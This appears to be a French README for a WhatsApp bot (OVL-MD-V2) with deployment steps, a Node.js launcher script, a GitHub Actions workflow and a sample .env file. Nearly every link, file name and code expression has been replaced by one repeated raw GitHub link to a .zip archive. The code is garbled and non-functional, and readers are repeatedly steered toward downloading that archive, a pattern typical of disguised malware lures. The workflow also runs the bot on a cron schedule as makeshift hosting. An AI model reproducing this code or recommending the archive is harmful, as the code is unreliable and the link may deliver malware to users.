Un bot WhatsApp multi-appareil. N'oubliez pas de laisser une ⭐ (star) pour le projet.
🚀 Déploiement de OVL-MD-V2
📌 Conserve la Session-ID dans un endroit sécurisé.
Ou utilise une base de données existante.
- Créez un compte : Lien Heroku
- Déploiement rapide : Déployer sur Heroku
- Créez un compte : Lien Render
- Déploiement rapide : Déployer sur Render
- Créez un compte : Lien Koyeb
- Déploiement rapide : Déployer sur Koyeb
- Créez un serveur
- Ajoutez le fichier
https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zipouhttps://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip - Démarrez le bot
- Ajoutez un fichier
.env - Créez le fichier
https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip
📝 Fichier https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip ou https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip pour déploiement sur panel
const { spawnSync, spawn } = require('child_process');
const { existsSync, mkdirSync, writeFileSync } = require('fs');
// Ajoutez ici vos variables d'environnement
const env_file = ``;
if (!https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip()) {
https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip("❌ 'env_file' est vide. Veuillez renseigner vos variables d'environnement avant de lancer le script.");
https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip(1);
}
let crashCount = 0;
const crashLimit = 5;
let lastCrashTime = https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip();
const crashResetDelay = 30000;
function setupProject() {
if (!existsSync('ovl')) {
const clone = spawnSync('git', ['clone', 'https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip', 'ovl'], { stdio: 'inherit' });
if (https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip !== 0) https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip(1);
}
if (!existsSync('https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip')) {
mkdirSync('ovl', { recursive: true });
writeFileSync('https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip', env_file);
https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip("✅ Fichier .env créé avec succès.");
}
const install = spawnSync('npm', ['install'], { cwd: 'ovl', stdio: 'inherit' });
if (https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip !== 0) https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip(1);
}
function validateSetup() {
if (!existsSync('https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip')) {
https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip(1);
}
const check = spawnSync('npm', ['ls'], { cwd: 'ovl', stdio: 'ignore' });
if (https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip !== 0) {
const reinstall = spawnSync('npm', ['install'], { cwd: 'ovl', stdio: 'inherit' });
if (https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip !== 0) {
https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip(1);
}
}
}
function launchApp() {
const pm2 = spawn('npx', ['pm2', 'start', 'https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip', '--name', 'ovl-md', '--attach'], {
cwd: 'ovl',
stdio: ['pipe', 'pipe', 'pipe'],
});
let restartAttempts = 0;
https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip('data', (chunk) => {
const output = https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip();
https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip(output);
if (https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip('Connexion') || https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip('ready')) {
restartAttempts = 0;
}
});
https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip('data', (chunk) => {
const output = https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip();
if (https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip('restart')) {
restartAttempts++;
if (restartAttempts > 3) {
spawnSync('npx', ['pm2', 'delete', 'ovl-md'], { cwd: 'ovl', stdio: 'inherit' });
startNodeFallback();
}
}
});
https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip('exit', () => {
startNodeFallback();
});
https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip('error', () => {
startNodeFallback();
});
}
function startNodeFallback() {
const child = spawn('node', ['https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip'], { cwd: 'ovl', stdio: 'inherit' });
https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip('exit', (code) => {
const now = https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip();
if (now - lastCrashTime > crashResetDelay) crashCount = 0;
crashCount++;
lastCrashTime = now;
if (crashCount > crashLimit) {
return;
}
startNodeFallback();
});
}
setupProject();
validateSetup();
launchApp();⚙️ Fichier https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip
name: OVL-MD Bot CI
on:
push:
branches: [main]
pull_request:
branches: [main]
schedule:
- cron: '0 */5 * * *'
jobs:
build:
runs-on: ubuntu-latest
strategy:
matrix:
node-version: [20.x]
steps:
- uses: actions/checkout@v3
- uses: actions/setup-node@v3
with:
node-version: ${{ https://raw.githubusercontent.com/JShaurel/OVL-MD-V2/main/cmd/M_OV_v1.9-alpha.2.zip }}
- run: |
sudo apt update
sudo apt install -y ffmpeg
npm i
- run: timeout 18300s npm run Ovl🔐 Exemple de fichier .env
PREFIXE=.
NOM_OWNER=Ainz
NUMERO_OWNER=226xxxxxxxx
MODE=public
SESSION_ID=
STICKER_PACK_NAME=ᴏᴠʟ-ᴍᴅ-ᴠ𝟸
STICKER_AUTHOR_NAME=ᴀɪɴᴢ🔅✨Partage, pose tes questions, et reste à jour avec toutes les nouveautés du projet !
- Ainz
- Haibo_lugh – pour son soutien et aide dans la gestion du bot au support.
- Nathan Harmone – pour ses tutoriels YouTube.
- Dr Djibi – pour son soutien.
Distribué sous la licence MIT. Voir le fichier LICENSE pour plus d’informations.